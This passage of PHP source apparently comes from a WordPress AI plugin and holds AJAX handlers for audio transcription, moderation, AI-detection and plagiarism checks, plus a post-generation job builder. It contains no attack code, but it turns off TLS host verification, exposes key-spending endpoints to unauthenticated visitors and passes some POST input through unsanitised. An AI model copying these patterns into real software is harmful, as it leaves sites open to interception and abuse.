(!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } if(aiomatic_is_aiomaticapi_key($token)) { $aiomatic_result['msg'] = 'Currently only OpenAI API is supported for audio processing.'; wp_send_json($aiomatic_result); } } if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for audio conversion.'; wp_send_json($aiomatic_result); } require_once (dirname(__FILE__) . "/res/openai/Url.php"); require_once (dirname(__FILE__) . "/res/openai/OpenAi.php"); $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } if($type == 'url'){ if(!function_exists('download_url')){ include_once( ABSPATH . 'wp-admin/includes/file.php' ); } $tmp_file = download_url($url); if ( is_wp_error( $tmp_file ) ){ $aiomatic_result['msg'] = $tmp_file->get_error_message(); wp_send_json($aiomatic_result); } } if($type == 'upload'){ $tmp_file = $file['tmp_name']; } $response_format = 'text'; global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $data_request = array( 'audio' => array( 'filename' => $file_name, 'data' => $wp_filesystem->get_contents($tmp_file) ), 'model' => $model, 'temperature' => $temperature, 'response_format' => $response_format, 'prompt' => $prompt ); if($purpose == 'transcriptions' && !empty($language)){ $data_request['language'] = $language; } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } if($purpose == 'transcriptions') { $completion = $open_ai->transcribe($data_request); } elseif($purpose == 'translations') { $completion = $open_ai->translate($data_request); } $result = json_decode($completion); if($result && isset($result->error)){ $aiomatic_result['msg'] = $result->error->message; wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; $text_generated = $completion; $aiomatic_result['data'] = $text_generated; if(empty($text_generated)){ $aiomatic_result['msg'] = 'OpenAI returned empty content'; wp_send_json($aiomatic_result); } do_action('aiomatic_audio_converter_reply', $aiomatic_result); wp_send_json($aiomatic_result); die(); } add_action( 'wp_ajax_aiomatic_moderate_text', 'aiomatic_moderate_text' ); add_action( 'wp_ajax_nopriv_aiomatic_moderate_text', 'aiomatic_moderate_text' ); function aiomatic_moderate_text() { check_ajax_referer('openai-moderation-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with text moderation'); $text = isset($_REQUEST['text']) && !empty($_REQUEST['text']) ? sanitize_text_field($_REQUEST['text']) : ''; if(empty($text)) { $aiomatic_result['msg'] = 'You need to enter a text to moderate!'; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } if(aiomatic_is_aiomaticapi_key($token)) { $aiomatic_result['msg'] = 'Currently only OpenAI API is supported for text moderation.'; wp_send_json($aiomatic_result); } } if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for moderation.'; wp_send_json($aiomatic_result); } require_once (dirname(__FILE__) . "/res/openai/Url.php"); require_once (dirname(__FILE__) . "/res/openai/OpenAi.php"); $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $data_request = array( 'input' => $text ); if(isset($_REQUEST['model']) && !empty(trim($_REQUEST['model']))) { $data_request['model'] = trim($_REQUEST['model']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $moderation = $open_ai->moderation($data_request); $result = json_decode($moderation); if($result && isset($result->error)){ $aiomatic_result['msg'] = $result->error->message; wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $moderation; do_action('aiomatic_text_moderation_reply', $aiomatic_result); wp_send_json($aiomatic_result); die(); } add_action( 'wp_ajax_aiomatic_aidetector_check_text', 'aiomatic_aidetector_check_text' ); add_action( 'wp_ajax_nopriv_aiomatic_aidetector_check_text', 'aiomatic_aidetector_check_text' ); function aiomatic_aidetector_check_text() { check_ajax_referer('openai-aidetector-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'message' => 'Something went wrong with text AI content check'); $text = isset($_REQUEST['text']) && !empty($_REQUEST['text']) ? sanitize_text_field($_REQUEST['text']) : ''; if(empty($text)) { $aiomatic_result['message'] = 'You need to enter a text to check!'; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['plagiarism_api']) || trim($aiomatic_Main_Settings['plagiarism_api']) == '') { $aiomatic_result['message'] = 'You need to add a PlagiarismCheck API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['plagiarism_api'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } } $status_check = false; $language = 'en'; if(isset($_POST['language'])) { $language = trim($_POST['language']); } $postData = [ 'language' => $language, 'text' => $text, ]; $requestData = []; foreach ($postData as $name => $value) { $requestData[] = $name.'='.urlencode($value); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['plagiarism_api']) || trim($aiomatic_Main_Settings['plagiarism_api']) == '') { wp_send_json_error( array( 'status' => 'error', 'message' => 'You need to enter a PlagiarismCheck API key in plugin settings!' ) ); exit; } $ch = curl_init(); if ($ch === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to init curl in aidetector check request' ) ); exit; } curl_setopt($ch, CURLOPT_URL, 'https://plagiarismcheck.org/api/v1/chat-gpt/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, implode('&', $requestData)); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-API-TOKEN:'. trim($aiomatic_Main_Settings['plagiarism_api']) )); $result = curl_exec($ch); if ($result === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to init curl in ai detector check request result' ) ); exit; } curl_close($ch); $response = json_decode($result); if ($response === null) { aiomatic_log_to_file('Failed to decode initial ai detector checker API result: ' . $result); wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to decode initial ai detector checker API result' ) ); exit; } if ($response->success) { $timeout = 0; $max_time = 120; if(isset($response->data->id)) { $id = $response->data->id; } else { aiomatic_log_to_file('Failed to decode ai detector checker API result: ' . print_r($response, true)); wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to decode ai detector checker API result' ) ); exit; } $ok_done = false; while($timeout < $max_time && !$ok_done) { sleep(5); $ch = curl_init(); if ($ch === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to init curl in ai detector check request result success' ) ); exit; } curl_setopt($ch, CURLOPT_URL, 'https://plagiarismcheck.org/api/v1/chat-gpt/' . $id); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-API-TOKEN:'. trim($aiomatic_Main_Settings['plagiarism_api']) )); $status_check = curl_exec($ch); if ($status_check === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to execute curl in ai detector check request result success' ) ); exit; } curl_close($ch); $status = json_decode($status_check); if ($status === null) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to decode response in ai detector check request result success' ) ); exit; } if (isset($status->data->conclusion_type) && !empty($status->data->conclusion_type)) { $ok_done = true; $data = array(); $data['status'] = 200; if(isset($status->data->likely_percent) && !empty($status->data->likely_percent)) { $data['percentage'] = $status->data->likely_percent; } else { $data['percentage'] = $status->data->percent; } $data['report'] = $status->data->conclusion; $detected_chunks = array(); if ($status && !empty($status->data->chunks)) { $content = $status->data->content; $chunks = $status->data->chunks; foreach ($chunks as $chunk) { $start = $chunk->position[0]; $end = $chunk->position[1]; $extracted_text = substr($content, $start, $end - $start); $detected_chunks[] =$extracted_text; } } $data['detected_chunks'] = $detected_chunks; wp_send_json_success( array('status' => 'success', 'result' => $data) ); } else { $timeout += 5; } } if(!$ok_done) { aiomatic_log_to_file('Failed to get status from ai detector checker API result: ' . $status_check); wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to get status from ai detector checker API result' ) ); exit; } } else { if ($response->message) { aiomatic_log_to_file('Error in AI detector API call: ' . $response->message); wp_send_json_error( array( 'status' => 'error', 'message' => 'Error in AI detector API call: ' . esc_html($response->message) ) ); exit; } aiomatic_log_to_file('Failed to interpret ai detector checker API result: ' . $result); wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to interpret ai detector checker API result' ) ); exit; } aiomatic_log_to_file('Failed to get status from ai detector checker API result (timeout)'); wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to get status from ai detector checker API result' ) ); exit; } add_action( 'wp_ajax_aiomatic_plagiarism_check_text', 'aiomatic_plagiarism_check_text' ); add_action( 'wp_ajax_nopriv_aiomatic_plagiarism_check_text', 'aiomatic_plagiarism_check_text' ); function aiomatic_plagiarism_check_text() { check_ajax_referer('openai-plagiarism-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'message' => 'Something went wrong with text plagiarism check'); $text = isset($_REQUEST['text']) && !empty($_REQUEST['text']) ? sanitize_text_field($_REQUEST['text']) : ''; if(empty($text)) { $aiomatic_result['message'] = 'You need to enter a text to check!'; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['plagiarism_api']) || trim($aiomatic_Main_Settings['plagiarism_api']) == '') { $aiomatic_result['message'] = 'You need to add a PlagiarismCheck API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['plagiarism_api'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } } $status_check = false; $language = 'en'; if(isset($_POST['language'])) { $language = trim($_POST['language']); } $postData = [ 'language' => $language, 'text' => $text, ]; $requestData = []; foreach ($postData as $name => $value) { $requestData[] = $name.'='.urlencode($value); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['plagiarism_api']) || trim($aiomatic_Main_Settings['plagiarism_api']) == '') { wp_send_json_error( array( 'status' => 'error', 'message' => 'You need to enter a PlagiarismCheck API key in plugin settings!' ) ); exit; } $ch = curl_init(); if ($ch === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to init curl in plagiarism check request' ) ); exit; } curl_setopt($ch, CURLOPT_URL, 'https://plagiarismcheck.org/api/v1/text'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, implode('&', $requestData)); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-API-TOKEN:'. trim($aiomatic_Main_Settings['plagiarism_api']) )); $result = curl_exec($ch); if ($result === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to init curl in plagiarism check request result' ) ); exit; } curl_close($ch); $response = json_decode($result); if ($response === null) { aiomatic_log_to_file('Failed to decode plagiarism checker API result: ' . $result); wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to decode plagiarism checker API result' ) ); exit; } if ($response->success) { $timeout = 0; $max_time = 120; $id = $response->data->text->id; $ok_done = false; while($timeout < $max_time && !$ok_done) { sleep(5); $ch = curl_init(); if ($ch === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to init curl in plagiarism check request result success' ) ); exit; } curl_setopt($ch, CURLOPT_URL, 'https://plagiarismcheck.org/api/v1/text/' . $id); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-API-TOKEN:'. trim($aiomatic_Main_Settings['plagiarism_api']) )); $status_check = curl_exec($ch); if ($status_check === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to execute curl in plagiarism check request result success' ) ); exit; } curl_close($ch); $status = json_decode($status_check); if ($status === null) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to decode response in plagiarism check request result success' ) ); exit; } if (isset($status->data->state) && $status->data->state === 5) { $ch = curl_init(); if ($ch === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to init curl in plagiarism check request result state' ) ); exit; } curl_setopt($ch, CURLOPT_URL, 'https://plagiarismcheck.org/api/v1/text/report/' . $id); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_POST, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-API-TOKEN:'. trim($aiomatic_Main_Settings['plagiarism_api']) )); $report_check = curl_exec($ch); if ($ch === false) { wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to exec curl in plagiarism check request result state' ) ); exit; } curl_close($ch); $report = json_decode($report_check); if ($ch === null) { wp_send_json_error( array('status' => 'error', 'message' => 'Failed to decode request in plagiarism check request result state' ) ); exit; } $ok_done = true; $data = array(); $data['status'] = 200; $data['percentage'] = $report->data->report->percent; $data['report'] = json_encode($report->data->report_data->sources); wp_send_json_success( array('status' => 'success', 'result' => $data) ); } else { $timeout += 5; } } if(!$ok_done) { aiomatic_log_to_file('Failed to get status from plagiarism checker API result: ' . $status_check); wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to get status from plagiarism checker API result' ) ); exit; } } else { if ($response->message) { aiomatic_log_to_file('Error in plagiarism checker API call: ' . $response->message); wp_send_json_error( array( 'status' => 'error', 'message' => 'Error in plagiarism checker API call: ' . esc_html($response->message) ) ); exit; } aiomatic_log_to_file('Failed to interpret plagiarism checker API result: ' . $result); wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to decode plagiarism checker API result' ) ); exit; } aiomatic_log_to_file('Failed to get status from plagiarism checker API result (timeout)'); wp_send_json_error( array( 'status' => 'error', 'message' => 'Failed to get status from plagiarism checker API result' ) ); exit; } add_action( 'wp_ajax_aiomatic_execute_single_advanced_job', 'aiomatic_execute_single_advanced_job' ); function aiomatic_execute_single_advanced_job() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['post_data'])) { wp_send_json_error( array( 'message' => 'post_data is required!' ) ); } $post_data = $_POST['post_data']; if(empty($post_data)) { wp_send_json_error( array( 'message' => 'You need to enter a valid post_data!' ) ); } if(!isset($_POST['selected'])) { wp_send_json_error( array( 'message' => 'Selected options are required!' ) ); } $selected = $_POST['selected']; if($selected != '1a' && $selected != '1a-' && $selected != '1b' && $selected != '2' && $selected != '3' && $selected != '4' && $selected != '5' && $selected != '6') { wp_send_json_error( array( 'message' => 'Selected job options are invalid: ' . $selected) ); } $job_id = uniqid('job_', true); if($selected == '1a') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = 'test';//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '500';//min_char $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = '';//ai_command $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = '';//max_continue_tokens $inner_arr[] = '';//model $inner_arr[] = '';//headings $inner_arr[] = '';//images $inner_arr[] = '';//videos $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//headings_list $inner_arr[] = '';//images_list $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = 'gpt-4o-mini';//title_model $inner_arr[] = '';//title_ai_command $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = 'keyword';//title_source $inner_arr[] = '';//headings_ai_command $inner_arr[] = 'gpt-4o-mini';//headings_model $inner_arr[] = 'topic';//posting_mode $inner_arr[] = $post_data['post_topic_list'];//post_topic_list $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['single_content_call'];//single_content_call $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = $post_data['img_all_headings'];//img_all_headings $inner_arr[] = $post_data['heading_img_location'];//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = '';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = $post_data['title_generator_method'];//title_generator_method $inner_arr[] = '';//parent_id $inner_arr[] = $job_id;//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 0; } elseif($selected == '1a-') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['post_title'];//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = '500';//min_char $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = '';//ai_command $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = '';//max_continue_tokens $inner_arr[] = '';//model $inner_arr[] = '';//headings $inner_arr[] = '';//images $inner_arr[] = '';//videos $inner_arr[] = $post_data['post_prepend'];//post_prepend $inner_arr[] = $post_data['post_append'];//post_append $inner_arr[] = $post_data['enable_ai_images'];//enable_ai_images $inner_arr[] = $post_data['ai_command_image'];//ai_command_image $inner_arr[] = $post_data['image_size'];//image_size $inner_arr[] = '';//headings_list $inner_arr[] = '';//images_list $inner_arr[] = '';//wpml_lang $inner_arr[] = '1';//remove_default $inner_arr[] = 'gpt-4o-mini';//title_model $inner_arr[] = '';//title_ai_command $inner_arr[] = $post_data['strip_title'];//strip_title $inner_arr[] = '0';//title_once $inner_arr[] = 'gpt-4o-mini';//category_model $inner_arr[] = '';//category_ai_command $inner_arr[] = 'gpt-4o-mini';//tag_model $inner_arr[] = '';//tag_ai_command $inner_arr[] = '';//min_time $inner_arr[] = '';//max_time $inner_arr[] = $post_data['skip_spin'];//skip_spin $inner_arr[] = $post_data['skip_translate'];//skip_translate $inner_arr[] = 'keyword';//title_source $inner_arr[] = '';//headings_ai_command $inner_arr[] = 'gpt-4o-mini';//headings_model $inner_arr[] = 'topic';//posting_mode $inner_arr[] = '';//post_topic_list $inner_arr[] = $post_data['post_sections_list'];//post_sections_list $inner_arr[] = $post_data['content_language'];//content_language $inner_arr[] = $post_data['writing_style'];//writing_style $inner_arr[] = $post_data['writing_tone'];//writing_tone $inner_arr[] = $post_data['title_prompt'];//title_prompt $inner_arr[] = $post_data['sections_prompt'];//sections_prompt $inner_arr[] = $post_data['content_prompt'];//content_prompt $inner_arr[] = $post_data['excerpt_prompt'];//excerpt_prompt $inner_arr[] = $post_data['section_count'];//section_count $inner_arr[] = $post_data['paragraph_count'];//paragraph_count $inner_arr[] = $post_data['topic_title_model'];//topic_title_model $inner_arr[] = $post_data['topic_sections_model'];//topic_sections_model $inner_arr[] = $post_data['topic_content_model'];//topic_content_model $inner_arr[] = $post_data['topic_excerpt_model'];//topic_excerpt_model $inner_arr[] = $post_data['single_content_call'];//single_content_call $inner_arr[] = $post_data['intro_prompt'];//intro_prompt $inner_arr[] = $post_data['topic_intro_model'];//topic_intro_model $inner_arr[] = $post_data['outro_prompt'];//outro_prompt $inner_arr[] = $post_data['topic_outro_model'];//topic_outro_model $inner_arr[] = $post_data['topic_images'];//topic_images $inner_arr[] = $post_data['sections_role'];//sections_role $inner_arr[] = $post_data['topic_videos'];//topic_videos $inner_arr[] = '';//rule_description $inner_arr[] = $post_data['custom_shortcodes'];//custom_shortcodes $inner_arr[] = $post_data['strip_by_regex'];//strip_by_regex $inner_arr[] = $post_data['replace_regex'];//replace_regex $inner_arr[] = $post_data['strip_by_regex_prompts'];//strip_by_regex_prompts $inner_arr[] = $post_data['replace_regex_prompts'];//replace_regex_prompts $inner_arr[] = $post_data['run_regex_on'];//run_regex_on $inner_arr[] = $post_data['max_links'];//max_links $inner_arr[] = $post_data['link_post_types'];//link_post_types $inner_arr[] = $post_data['enable_toc'];//enable_toc $inner_arr[] = $post_data['title_toc'];//title_toc $inner_arr[] = $post_data['qa_prompt'];//qa_prompt $inner_arr[] = $post_data['topic_qa_model'];//topic_qa_model $inner_arr[] = $post_data['enable_qa'];//enable_qa $inner_arr[] = $post_data['title_qa'];//title_qa $inner_arr[] = $post_data['title_outro'];//title_outro $inner_arr[] = $post_data['link_type'];//link_type $inner_arr[] = $post_data['link_list'];//link_list $inner_arr[] = '';//skip_inexist $inner_arr[] = $post_data['global_prepend'];//global_prepend $inner_arr[] = $post_data['global_append'];//global_append $inner_arr[] = $post_data['search_query_repetition'];//search_query_repetition $inner_arr[] = $post_data['img_all_headings'];//img_all_headings $inner_arr[] = $post_data['heading_img_location'];//heading_img_location $inner_arr[] = '';//days_no_run $inner_arr[] = '';//overwrite_existing $inner_arr[] = $post_data['link_nofollow'];//link_nofollow $inner_arr[] = $post_data['title_generator_method'];//title_generator_method $inner_arr[] = '';//parent_id $inner_arr[] = $job_id;//rule_unique_id $inner_arr[] = $post_data['image_model'];//image_model $inner_arr[] = $post_data['assistant_id'];//assistant_id $type = 0; } elseif($selected == '1b') { $inner_arr = array(); $inner_arr[] = '24';//schedule $inner_arr[] = '1';//active $inner_arr[] = '1988-01-27 00:00:00';//last_run $inner_arr[] = '1';//max $inner_arr[] = 'publish';//post_status $inner_arr[] = 'post';//post_type $inner_arr[] = 'rand';//post_user_name $inner_arr[] = '';//item_create_tag $inner_arr[] = array('aiomatic_no_category_12345678');//default_category $inner_arr[] = 'disabled';//auto_categories $inner_arr[] = 'disabled';//can_create_tag $inner_arr[] = '0';//enable_comments $inner_arr[] = '';//image_url $inner_arr[] = $post_data['post_title'];//post_title $inner_arr[] = '0';//enable_pingback $inner_arr[] = 'post-format-standard';//post_format $inner_arr[] = $post_data['min_char'];//min_char $inner_arr[] = '';//custom_fields $inner_arr[] = '';//custom_tax $inner_arr[] = $post_data['temperature'];//temperature $inner_arr[] = $post_data['top_p'];//top_p $inner_arr[] = $post_data['presence_penalty'];//presence_penalty $inner_arr[] = $post_data['frequency_penalty'];//frequency_penalty $inner_arr[] = '0';//royalty_free $inner_arr[] = $post_data['ai_command'];//ai_command $inner_arr[] = $post_data['max_tokens'];//max_tokens $inner_arr[] = $post_data['max_seed_tokens'];//max_seed_tokens $inner_arr[] = $post_data['max_continue_tokens'];//max_continue_tokens $inner_arr[] = 